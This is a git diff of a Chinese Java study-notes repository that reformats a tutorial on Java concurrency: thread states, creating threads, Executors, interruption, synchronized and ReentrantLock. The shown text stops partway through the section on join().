-- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
-- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
-- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
-- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java_hashmap.html)
-- [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
-- [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/)
-- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)
-- [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
-- [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7)
-- [Java 集合细节（二）：asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)
-- [Java Collection Framework – The LinkedList Class](http://javaconceptoftheday.com/java-collection-framework-linkedlist-class/)
+- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
+- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
+- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
+- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java_hashmap.html)
+- [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
+- [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/)
+- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)
+- [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/)
+- [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7)
+- [Java 集合细节（二）：asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)
+- [Java Collection Framework – The LinkedList Class](http://javaconceptoftheday.com/java-collection-framework-linkedlist-class/)
 
+---bottom---CyC---
+![](index_files/VP4n3i8m34Ntd28NQ4_0KCJ2q044Oez.png)
+![](index_files/SoWkIImgAStDuUBAp2j9BKfBJ4vLy4q.png)
+![](index_files/SoWkIImgAStDuUBAp2j9BKfBJ4vLy0G.png)
+![](index_files/49495c95-52e5-4c9a-b27b-92cf235ff5ec.png)
+![](index_files/8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png)
+![](index_files/49d6de7b-0d0d-425c-9e49-a1559dc23b10.png)
+![](index_files/3fdfc89d-719e-4d93-b518-29fa612b3b18.png)
diff --git a/docs/notes/Java 并发.md b/docs/notes/Java 并发.md
index b4f3693b..e12e48b2 100644
--- a/docs/notes/Java 并发.md	
+++ b/docs/notes/Java 并发.md	
@@ -1,624 +1,562 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、线程状态转换](#一线程状态转换)
-    * [新建（New）](#新建new)
-    * [可运行（Runnable）](#可运行runnable)
-    * [阻塞（Blocking）](#阻塞blocking)
-    * [无限期等待（Waiting）](#无限期等待waiting)
-    * [限期等待（Timed Waiting）](#限期等待timed-waiting)
-    * [死亡（Terminated）](#死亡terminated)
-* [二、使用线程](#二使用线程)
-    * [实现 Runnable 接口](#实现-runnable-接口)
-    * [实现 Callable 接口](#实现-callable-接口)
-    * [继承 Thread 类](#继承-thread-类)
-    * [实现接口 VS 继承 Thread](#实现接口-vs-继承-thread)
-* [三、基础线程机制](#三基础线程机制)
-    * [Executor](#executor)
-    * [Daemon](#daemon)
-    * [sleep()](#sleep)
-    * [yield()](#yield)
-* [四、中断](#四中断)
-    * [InterruptedException](#interruptedexception)
-    * [interrupted()](#interrupted)
-    * [Executor 的中断操作](#executor-的中断操作)
-* [五、互斥同步](#五互斥同步)
-    * [synchronized](#synchronized)
-    * [ReentrantLock](#reentrantlock)
-    * [比较](#比较)
-    * [使用选择](#使用选择)
-* [六、线程之间的协作](#六线程之间的协作)
-    * [join()](#join)
-    * [wait() notify() notifyAll()](#wait-notify-notifyall)
-    * [await() signal() signalAll()](#await-signal-signalall)
-* [七、J.U.C - AQS](#七juc---aqs)
-    * [CountdownLatch](#countdownlatch)
-    * [CyclicBarrier](#cyclicbarrier)
-    * [Semaphore](#semaphore)
-* [八、J.U.C - 其它组件](#八juc---其它组件)
-    * [FutureTask](#futuretask)
-    * [BlockingQueue](#blockingqueue)
-    * [ForkJoin](#forkjoin)
-* [九、线程不安全示例](#九线程不安全示例)
-* [十、Java 内存模型](#十java-内存模型)
-    * [主内存与工作内存](#主内存与工作内存)
-    * [内存间交互操作](#内存间交互操作)
-    * [内存模型三大特性](#内存模型三大特性)
-    * [先行发生原则](#先行发生原则)
-* [十一、线程安全](#十一线程安全)
-    * [不可变](#不可变)
-    * [互斥同步](#互斥同步)
-    * [非阻塞同步](#非阻塞同步)
-    * [无同步方案](#无同步方案)
-* [十二、锁优化](#十二锁优化)
-    * [自旋锁](#自旋锁)
-    * [锁消除](#锁消除)
-    * [锁粗化](#锁粗化)
-    * [轻量级锁](#轻量级锁)
-    * [偏向锁](#偏向锁)
-* [十三、多线程开发良好的实践](#十三多线程开发良好的实践)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、线程状态转换
 
+<img src="index_files/ace830df-9919-48ca-91b5-60b193f593d2.png" width=""/>
 
-# 一、线程状态转换
-
-<div align="center"> <img src="pics/ace830df-9919-48ca-91b5-60b193f593d2.png" width=""/> </div><br>
-
-## 新建（New）
+## 新建（New）
 
 创建后尚未启动。
 
-## 可运行（Runnable）
+## 可运行（Runnable）
 
-可能正在运行，也可能正在等待 CPU 时间片。
+可能正在运行，也可能正在等待 CPU 时间片。
 
-包含了操作系统线程状态中的 Running 和 Ready。
+包含了操作系统线程状态中的 Running 和 Ready。
 
-## 阻塞（Blocking）
+## 阻塞（Blocking）
 
 等待获取一个排它锁，如果其线程释放了锁就会结束此状态。
 
-## 无限期等待（Waiting）
+## 无限期等待（Waiting）
 
-等待其它线程显式地唤醒，否则不会被分配 CPU 时间片。
+等待其它线程显式地唤醒，否则不会被分配 CPU 时间片。
 
-| 进入方法 | 退出方法 |
-| --- | --- |
-| 没有设置 Timeout 参数的 Object.wait() 方法 | Object.notify() / Object.notifyAll() |
-| 没有设置 Timeout 参数的 Thread.join() 方法 | 被调用的线程执行完毕 |
-| LockSupport.park() 方法 | - |
+| 进入方法 | 退出方法 |
+| --- | --- |
+| 没有设置 Timeout 参数的 Object.wait() 方法 | Object.notify() / Object.notifyAll() |
+| 没有设置 Timeout 参数的 Thread.join() 方法 | 被调用的线程执行完毕 |
+| LockSupport.park() 方法 | - |
 
-## 限期等待（Timed Waiting）
+## 限期等待（Timed Waiting）
 
 无需等待其它线程显式地唤醒，在一定时间之后会被系统自动唤醒。
 
-调用 Thread.sleep() 方法使线程进入限期等待状态时，常常用“使一个线程睡眠”进行描述。
+调用 Thread.sleep() 方法使线程进入限期等待状态时，常常用“使一个线程睡眠”进行描述。
 
-调用 Object.wait() 方法使线程进入限期等待或者无限期等待时，常常用“挂起一个线程”进行描述。
+调用 Object.wait() 方法使线程进入限期等待或者无限期等待时，常常用“挂起一个线程”进行描述。
 
 睡眠和挂起是用来描述行为，而阻塞和等待用来描述状态。
 
-阻塞和等待的区别在于，阻塞是被动的，它是在等待获取一个排它锁。而等待是主动的，通过调用 Thread.sleep() 和 Object.wait() 等方法进入。
+阻塞和等待的区别在于，阻塞是被动的，它是在等待获取一个排它锁。而等待是主动的，通过调用 Thread.sleep() 和 Object.wait() 等方法进入。
 
-| 进入方法 | 退出方法 |
-| --- | --- |
-| Thread.sleep() 方法 | 时间结束 |
-| 设置了 Timeout 参数的 Object.wait() 方法 | 时间结束 / Object.notify() / Object.notifyAll()  |
-| 设置了 Timeout 参数的 Thread.join() 方法 | 时间结束 / 被调用的线程执行完毕 |
-| LockSupport.parkNanos() 方法 | - |
-| LockSupport.parkUntil() 方法 | - |
+| 进入方法 | 退出方法 |
+| --- | --- |
+| Thread.sleep() 方法 | 时间结束 |
+| 设置了 Timeout 参数的 Object.wait() 方法 | 时间结束 / Object.notify() / Object.notifyAll()  |
+| 设置了 Timeout 参数的 Thread.join() 方法 | 时间结束 / 被调用的线程执行完毕 |
+| LockSupport.parkNanos() 方法 | - |
+| LockSupport.parkUntil() 方法 | - |
 
-## 死亡（Terminated）
+## 死亡（Terminated）
 
 可以是线程结束任务之后自己结束，或者产生了异常而结束。
 
-# 二、使用线程
+# 二、使用线程
 
 有三种使用线程的方法：
 
-- 实现 Runnable 接口；
-- 实现 Callable 接口；
-- 继承 Thread 类。
+- 实现 Runnable 接口；
+- 实现 Callable 接口；
+- 继承 Thread 类。
 
-实现 Runnable 和 Callable 接口的类只能当做一个可以在线程中运行的任务，不是真正意义上的线程，因此最后还需要通过 Thread 来调用。可以说任务是通过线程驱动从而执行的。
+实现 Runnable 和 Callable 接口的类只能当做一个可以在线程中运行的任务，不是真正意义上的线程，因此最后还需要通过 Thread 来调用。可以说任务是通过线程驱动从而执行的。
 
-## 实现 Runnable 接口
+## 实现 Runnable 接口
 
-需要实现 run() 方法。
+需要实现 run() 方法。
 
-通过 Thread 调用 start() 方法来启动线程。
+通过 Thread 调用 start() 方法来启动线程。
 
 ```java
-public class MyRunnable implements Runnable {
-    public void run() {
-        // ...
-    }
+public class MyRunnable implements Runnable {
+    public void run() {
+        // ...
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    MyRunnable instance = new MyRunnable();
-    Thread thread = new Thread(instance);
-    thread.start();
+public static void main(String[] args) {
+    MyRunnable instance = new MyRunnable();
+    Thread thread = new Thread(instance);
+    thread.start();
 }
 ```
 
-## 实现 Callable 接口
+## 实现 Callable 接口
 
-与 Runnable 相比，Callable 可以有返回值，返回值通过 FutureTask 进行封装。
+与 Runnable 相比，Callable 可以有返回值，返回值通过 FutureTask 进行封装。
 
 ```java
-public class MyCallable implements Callable<Integer> {
-    public Integer call() {
-        return 123;
-    }
+public class MyCallable implements Callable<Integer> {
+    public Integer call() {
+        return 123;
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws ExecutionException, InterruptedException {
-    MyCallable mc = new MyCallable();
-    FutureTask<Integer> ft = new FutureTask<>(mc);
-    Thread thread = new Thread(ft);
-    thread.start();
-    System.out.println(ft.get());
+public static void main(String[] args) throws ExecutionException, InterruptedException {
+    MyCallable mc = new MyCallable();
+    FutureTask<Integer> ft = new FutureTask<>(mc);
+    Thread thread = new Thread(ft);
+    thread.start();
+    System.out.println(ft.get());
 }
 ```
 
-## 继承 Thread 类
+## 继承 Thread 类
 
-同样也是需要实现 run() 方法，因为 Thread 类也实现了 Runable 接口。
+同样也是需要实现 run() 方法，因为 Thread 类也实现了 Runable 接口。
 
-当调用 start() 方法启动一个线程时，虚拟机会将该线程放入就绪队列中等待被调度，当一个线程被调度时会执行该线程的 run() 方法。
+当调用 start() 方法启动一个线程时，虚拟机会将该线程放入就绪队列中等待被调度，当一个线程被调度时会执行该线程的 run() 方法。
 
 ```java
-public class MyThread extends Thread {
-    public void run() {
-        // ...
-    }
+public class MyThread extends Thread {
+    public void run() {
+        // ...
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    MyThread mt = new MyThread();
-    mt.start();
+public static void main(String[] args) {
+    MyThread mt = new MyThread();
+    mt.start();
 }
 ```
 
-## 实现接口 VS 继承 Thread
+## 实现接口 VS 继承 Thread
 
 实现接口会更好一些，因为：
 
-- Java 不支持多重继承，因此继承了 Thread 类就无法继承其它类，但是可以实现多个接口；
-- 类可能只要求可执行就行，继承整个 Thread 类开销过大。
+- Java 不支持多重继承，因此继承了 Thread 类就无法继承其它类，但是可以实现多个接口；
+- 类可能只要求可执行就行，继承整个 Thread 类开销过大。
 
-# 三、基础线程机制
+# 三、基础线程机制
 
-## Executor
+## Executor
 
-Executor 管理多个异步任务的执行，而无需程序员显式地管理线程的生命周期。这里的异步是指多个任务的执行互不干扰，不需要进行同步操作。
+Executor 管理多个异步任务的执行，而无需程序员显式地管理线程的生命周期。这里的异步是指多个任务的执行互不干扰，不需要进行同步操作。
 
-主要有三种 Executor：
+主要有三种 Executor：
 
-- CachedThreadPool：一个任务创建一个线程；
-- FixedThreadPool：所有任务只能使用固定大小的线程；
-- SingleThreadExecutor：相当于大小为 1 的 FixedThreadPool。
+- CachedThreadPool：一个任务创建一个线程；
+- FixedThreadPool：所有任务只能使用固定大小的线程；
+- SingleThreadExecutor：相当于大小为 1 的 FixedThreadPool。
 
 ```java
-public static void main(String[] args) {
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    for (int i = 0; i < 5; i++) {
-        executorService.execute(new MyRunnable());
-    }
-    executorService.shutdown();
+public static void main(String[] args) {
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    for (int i = 0; i < 5; i++) {
+        executorService.execute(new MyRunnable());
+    }
+    executorService.shutdown();
 }
 ```
 
-## Daemon
+## Daemon
 
 守护线程是程序运行时在后台提供服务的线程，不属于程序中不可或缺的部分。
 
 当所有非守护线程结束时，程序也就终止，同时会杀死所有守护线程。
 
-main() 属于非守护线程。
+main() 属于非守护线程。
 
-使用 setDaemon() 方法将一个线程设置为守护线程。
+使用 setDaemon() 方法将一个线程设置为守护线程。
 
 ```java
-public static void main(String[] args) {
-    Thread thread = new Thread(new MyRunnable());
-    thread.setDaemon(true);
+public static void main(String[] args) {
+    Thread thread = new Thread(new MyRunnable());
+    thread.setDaemon(true);
 }
 ```
 
-## sleep()
+## sleep()
 
-Thread.sleep(millisec) 方法会休眠当前正在执行的线程，millisec 单位为毫秒。
+Thread.sleep(millisec) 方法会休眠当前正在执行的线程，millisec 单位为毫秒。
 
-sleep() 可能会抛出 InterruptedException，因为异常不能跨线程传播回 main() 中，因此必须在本地进行处理。线程中抛出的其它异常也同样需要在本地进行处理。
+sleep() 可能会抛出 InterruptedException，因为异常不能跨线程传播回 main() 中，因此必须在本地进行处理。线程中抛出的其它异常也同样需要在本地进行处理。
 
 ```java
-public void run() {
-    try {
-        Thread.sleep(3000);
-    } catch (InterruptedException e) {
-        e.printStackTrace();
-    }
+public void run() {
+    try {
+        Thread.sleep(3000);
+    } catch (InterruptedException e) {
+        e.printStackTrace();
+    }
 }
 ```
 
-## yield()
+## yield()
 
-对静态方法 Thread.yield() 的调用声明了当前线程已经完成了生命周期中最重要的部分，可以切换给其它线程来执行。该方法只是对线程调度器的一个建议，而且也只是建议具有相同优先级的其它线程可以运行。
+对静态方法 Thread.yield() 的调用声明了当前线程已经完成了生命周期中最重要的部分，可以切换给其它线程来执行。该方法只是对线程调度器的一个建议，而且也只是建议具有相同优先级的其它线程可以运行。
 
 ```java
-public void run() {
-    Thread.yield();
+public void run() {
+    Thread.yield();
 }
 ```
 
-# 四、中断
+# 四、中断
 
 一个线程执行完毕之后会自动结束，如果在运行过程中发生异常也会提前结束。
 
-## InterruptedException
+## InterruptedException
 
-通过调用一个线程的 interrupt() 来中断该线程，如果该线程处于阻塞、限期等待或者无限期等待状态，那么就会抛出 InterruptedException，从而提前结束该线程。但是不能中断 I/O 阻塞和 synchronized 锁阻塞。
+通过调用一个线程的 interrupt() 来中断该线程，如果该线程处于阻塞、限期等待或者无限期等待状态，那么就会抛出 InterruptedException，从而提前结束该线程。但是不能中断 I/O 阻塞和 synchronized 锁阻塞。
 
-对于以下代码，在 main() 中启动一个线程之后再中断它，由于线程中调用了 Thread.sleep() 方法，因此会抛出一个 InterruptedException，从而提前结束线程，不执行之后的语句。
+对于以下代码，在 main() 中启动一个线程之后再中断它，由于线程中调用了 Thread.sleep() 方法，因此会抛出一个 InterruptedException，从而提前结束线程，不执行之后的语句。
 
 ```java
-public class InterruptExample {
+public class InterruptExample {
 
-    private static class MyThread1 extends Thread {
-        @Override
-        public void run() {
-            try {
-                Thread.sleep(2000);
-                System.out.println("Thread run");
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-    }
+    private static class MyThread1 extends Thread {
+        @Override
+        public void run() {
+            try {
+                Thread.sleep(2000);
+                System.out.println("Thread run");
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    Thread thread1 = new MyThread1();
-    thread1.start();
-    thread1.interrupt();
-    System.out.println("Main run");
+public static void main(String[] args) throws InterruptedException {
+    Thread thread1 = new MyThread1();
+    thread1.start();
+    thread1.interrupt();
+    System.out.println("Main run");
 }
 ```
 
 ```html
-Main run
-java.lang.InterruptedException: sleep interrupted
-    at java.lang.Thread.sleep(Native Method)
-    at InterruptExample.lambda$main$0(InterruptExample.java:5)
-    at InterruptExample$$Lambda$1/713338599.run(Unknown Source)
-    at java.lang.Thread.run(Thread.java:745)
+Main run
+java.lang.InterruptedException: sleep interrupted
+    at java.lang.Thread.sleep(Native Method)
+    at InterruptExample.lambda$main$0(InterruptExample.java:5)
+    at InterruptExample$$Lambda$1/713338599.run(Unknown Source)
+    at java.lang.Thread.run(Thread.java:745)
 ```
 
-## interrupted()
+## interrupted()
 
-如果一个线程的 run() 方法执行一个无限循环，并且没有执行 sleep() 等会抛出 InterruptedException 的操作，那么调用线程的 interrupt() 方法就无法使线程提前结束。
+如果一个线程的 run() 方法执行一个无限循环，并且没有执行 sleep() 等会抛出 InterruptedException 的操作，那么调用线程的 interrupt() 方法就无法使线程提前结束。
 
-但是调用 interrupt() 方法会设置线程的中断标记，此时调用 interrupted() 方法会返回 true。因此可以在循环体中使用 interrupted() 方法来判断线程是否处于中断状态，从而提前结束线程。
+但是调用 interrupt() 方法会设置线程的中断标记，此时调用 interrupted() 方法会返回 true。因此可以在循环体中使用 interrupted() 方法来判断线程是否处于中断状态，从而提前结束线程。
 
 ```java
-public class InterruptExample {
+public class InterruptExample {
 
-    private static class MyThread2 extends Thread {
-        @Override
-        public void run() {
-            while (!interrupted()) {
-                // ..
-            }
-            System.out.println("Thread end");
-        }
-    }
+    private static class MyThread2 extends Thread {
+        @Override
+        public void run() {
+            while (!interrupted()) {
+                // ..
+            }
+            System.out.println("Thread end");
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    Thread thread2 = new MyThread2();
-    thread2.start();
-    thread2.interrupt();
+public static void main(String[] args) throws InterruptedException {
+    Thread thread2 = new MyThread2();
+    thread2.start();
+    thread2.interrupt();
 }
 ```
 
 ```html
-Thread end
+Thread end
 ```
 
-## Executor 的中断操作
+## Executor 的中断操作
 
-调用 Executor 的 shutdown() 方法会等待线程都执行完毕之后再关闭，但是如果调用的是 shutdownNow() 方法，则相当于调用每个线程的 interrupt() 方法。
+调用 Executor 的 shutdown() 方法会等待线程都执行完毕之后再关闭，但是如果调用的是 shutdownNow() 方法，则相当于调用每个线程的 interrupt() 方法。
 
-以下使用 Lambda 创建线程，相当于创建了一个匿名内部线程。
+以下使用 Lambda 创建线程，相当于创建了一个匿名内部线程。
 
 ```java
-public static void main(String[] args) {
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> {
-        try {
-            Thread.sleep(2000);
-            System.out.println("Thread run");
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-    });
-    executorService.shutdownNow();
-    System.out.println("Main run");
+public static void main(String[] args) {
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> {
+        try {
+            Thread.sleep(2000);
+            System.out.println("Thread run");
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    });
+    executorService.shutdownNow();
+    System.out.println("Main run");
 }
 ```
 
 ```html
-Main run
-java.lang.InterruptedException: sleep interrupted
-    at java.lang.Thread.sleep(Native Method)
-    at ExecutorInterruptExample.lambda$main$0(ExecutorInterruptExample.java:9)
-    at ExecutorInterruptExample$$Lambda$1/1160460865.run(Unknown Source)
-    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
-    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
-    at java.lang.Thread.run(Thread.java:745)
+Main run
+java.lang.InterruptedException: sleep interrupted
+    at java.lang.Thread.sleep(Native Method)
+    at ExecutorInterruptExample.lambda$main$0(ExecutorInterruptExample.java:9)
+    at ExecutorInterruptExample$$Lambda$1/1160460865.run(Unknown Source)
+    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
+    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
+    at java.lang.Thread.run(Thread.java:745)
 ```
 
-如果只想中断 Executor 中的一个线程，可以通过使用 submit() 方法来提交一个线程，它会返回一个 Future<?> 对象，通过调用该对象的 cancel(true) 方法就可以中断线程。
+如果只想中断 Executor 中的一个线程，可以通过使用 submit() 方法来提交一个线程，它会返回一个 Future<?> 对象，通过调用该对象的 cancel(true) 方法就可以中断线程。
 
 ```java
-Future<?> future = executorService.submit(() -> {
-    // ..
+Future<?> future = executorService.submit(() -> {
+    // ..
 });
 future.cancel(true);
 ```
 
-# 五、互斥同步
+# 五、互斥同步
 
-Java 提供了两种锁机制来控制多个线程对共享资源的互斥访问，第一个是 JVM 实现的 synchronized，而另一个是 JDK 实现的 ReentrantLock。
+Java 提供了两种锁机制来控制多个线程对共享资源的互斥访问，第一个是 JVM 实现的 synchronized，而另一个是 JDK 实现的 ReentrantLock。
 
-## synchronized
+## synchronized
 
-**1. 同步一个代码块** 
+**1. 同步一个代码块**
 
 ```java
-public void func() {
-    synchronized (this) {
-        // ...
-    }
+public void func() {
+    synchronized (this) {
+        // ...
+    }
 }
 ```
 
 它只作用于同一个对象，如果调用两个对象上的同步代码块，就不会进行同步。
 
-对于以下代码，使用 ExecutorService 执行了两个线程，由于调用的是同一个对象的同步代码块，因此这两个线程会进行同步，当一个线程进入同步语句块时，另一个线程就必须等待。
+对于以下代码，使用 ExecutorService 执行了两个线程，由于调用的是同一个对象的同步代码块，因此这两个线程会进行同步，当一个线程进入同步语句块时，另一个线程就必须等待。
 
 ```java
-public class SynchronizedExample {
+public class SynchronizedExample {
 
-    public void func1() {
-        synchronized (this) {
-            for (int i = 0; i < 10; i++) {
-                System.out.print(i + " ");
-            }
-        }
-    }
+    public void func1() {
+        synchronized (this) {
+            for (int i = 0; i < 10; i++) {
+                System.out.print(i + " ");
+            }
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    SynchronizedExample e1 = new SynchronizedExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> e1.func1());
-    executorService.execute(() -> e1.func1());
+public static void main(String[] args) {
+    SynchronizedExample e1 = new SynchronizedExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> e1.func1());
+    executorService.execute(() -> e1.func1());
 }
 ```
 
 ```html
-0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
+0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
 ```
 
 对于以下代码，两个线程调用了不同对象的同步代码块，因此这两个线程就不需要同步。从输出结果可以看出，两个线程交叉执行。
 
 ```java
-public static void main(String[] args) {
-    SynchronizedExample e1 = new SynchronizedExample();
-    SynchronizedExample e2 = new SynchronizedExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> e1.func1());
-    executorService.execute(() -> e2.func1());
+public static void main(String[] args) {
+    SynchronizedExample e1 = new SynchronizedExample();
+    SynchronizedExample e2 = new SynchronizedExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> e1.func1());
+    executorService.execute(() -> e2.func1());
 }
 ```
 
 ```html
-0 0 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9
+0 0 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9
 ```
 
 
-**2. 同步一个方法** 
+**2. 同步一个方法**
 
 ```java
-public synchronized void func () {
-    // ...
+public synchronized void func () {
+    // ...
 }
 ```
 
 它和同步代码块一样，作用于同一个对象。
 
-**3. 同步一个类** 
+**3. 同步一个类**
 
 ```java
-public void func() {
-    synchronized (SynchronizedExample.class) {
-        // ...
-    }
+public void func() {
+    synchronized (SynchronizedExample.class) {
+        // ...
+    }
 }
 ```
 
 作用于整个类，也就是说两个线程调用同一个类的不同对象上的这种同步语句，也会进行同步。
 
 ```java
-public class SynchronizedExample {
+public class SynchronizedExample {
 
-    public void func2() {
-        synchronized (SynchronizedExample.class) {
-            for (int i = 0; i < 10; i++) {
-                System.out.print(i + " ");
-            }
-        }
-    }
+    public void func2() {
+        synchronized (SynchronizedExample.class) {
+            for (int i = 0; i < 10; i++) {
+                System.out.print(i + " ");
+            }
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    SynchronizedExample e1 = new SynchronizedExample();
-    SynchronizedExample e2 = new SynchronizedExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> e1.func2());
-    executorService.execute(() -> e2.func2());
+public static void main(String[] args) {
+    SynchronizedExample e1 = new SynchronizedExample();
+    SynchronizedExample e2 = new SynchronizedExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> e1.func2());
+    executorService.execute(() -> e2.func2());
 }
 ```
 
 ```html
-0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
+0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
 ```
 
-**4. 同步一个静态方法** 
+**4. 同步一个静态方法**
 
 ```java
-public synchronized static void fun() {
-    // ...
+public synchronized static void fun() {
+    // ...
 }
 ```
 
 作用于整个类。
 
-## ReentrantLock
+## ReentrantLock
 
-ReentrantLock 是 java.util.concurrent（J.U.C）包中的锁。
+ReentrantLock 是 java.util.concurrent（J.U.C）包中的锁。
 
 ```java
-public class LockExample {
+public class LockExample {
 
-    private Lock lock = new ReentrantLock();
+    private Lock lock = new ReentrantLock();
 
-    public void func() {
-        lock.lock();
-        try {
-            for (int i = 0; i < 10; i++) {
-                System.out.print(i + " ");
-            }
-        } finally {
-            lock.unlock(); // 确保释放锁，从而避免发生死锁。
-        }
-    }
+    public void func() {
+        lock.lock();
+        try {
+            for (int i = 0; i < 10; i++) {
+                System.out.print(i + " ");
+            }
+        } finally {
+            lock.unlock(); // 确保释放锁，从而避免发生死锁。
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    LockExample lockExample = new LockExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> lockExample.func());
-    executorService.execute(() -> lockExample.func());
+public static void main(String[] args) {
+    LockExample lockExample = new LockExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> lockExample.func());
+    executorService.execute(() -> lockExample.func());
 }
 ```
 
 ```html
-0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
+0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
 ```
 
 
-## 比较
+## 比较
 
-**1. 锁的实现** 
+**1. 锁的实现**
 
-synchronized 是 JVM 实现的，而 ReentrantLock 是 JDK 实现的。
+synchronized 是 JVM 实现的，而 ReentrantLock 是 JDK 实现的。
 
-**2. 性能** 
+**2. 性能**
 
-新版本 Java 对 synchronized 进行了很多优化，例如自旋锁等，synchronized 与 ReentrantLock 大致相同。
+新版本 Java 对 synchronized 进行了很多优化，例如自旋锁等，synchronized 与 ReentrantLock 大致相同。
 
-**3. 等待可中断** 
+**3. 等待可中断**
 
 当持有锁的线程长期不释放锁的时候，正在等待的线程可以选择放弃等待，改为处理其他事情。
 
-ReentrantLock 可中断，而 synchronized 不行。
+ReentrantLock 可中断，而 synchronized 不行。
 
-**4. 公平锁** 
+**4. 公平锁**
 
 公平锁是指多个线程在等待同一个锁时，必须按照申请锁的时间顺序来依次获得锁。
 
-synchronized 中的锁是非公平的，ReentrantLock 默认情况下也是非公平的，但是也可以是公平的。
+synchronized 中的锁是非公平的，ReentrantLock 默认情况下也是非公平的，但是也可以是公平的。
 
-**5. 锁绑定多个条件** 
+**5. 锁绑定多个条件**
 
-一个 ReentrantLock 可以同时绑定多个 Condition 对象。
+一个 ReentrantLock 可以同时绑定多个 Condition 对象。
 
-## 使用选择
+## 使用选择
 
-除非需要使用 ReentrantLock 的高级功能，否则优先使用 synchronized。这是因为 synchronized 是 JVM 实现的一种锁机制，JVM 原生地支持它，而 ReentrantLock 不是所有的 JDK 版本都支持。并且使用 synchronized 不用担心没有释放锁而导致死锁问题，因为 JVM 会确保锁的释放。
+除非需要使用 ReentrantLock 的高级功能，否则优先使用 synchronized。这是因为 synchronized 是 JVM 实现的一种锁机制，JVM 原生地支持它，而 ReentrantLock 不是所有的 JDK 版本都支持。并且使用 synchronized 不用担心没有释放锁而导致死锁问题，因为 JVM 会确保锁的释放。
 
-# 六、线程之间的协作
+# 六、线程之间的协作
 
 当多个线程可以一起工作去解决某个问题时，如果某些部分必须在其它部分之前完成，那么就需要对线程进行协调。
 
-## join()
+## join()
 
-在线程中调用另一个线程的 join() 方法，会将当前线程挂起，而不是忙等待，直到目标线程结束。
+在线程中调用另一个线程的 join() 方法，会将当前线程挂起，而不是忙等待，直到目标线程结束。
 
-对于以下代码，虽然 b 线程先启动，但是因为在 b 线程中调用了 a 线程的 join() 方法，b 线程会等待 a 线程结束才继续执行，因此最后能够保证 a 线程的输出先于 b 线程的输出。
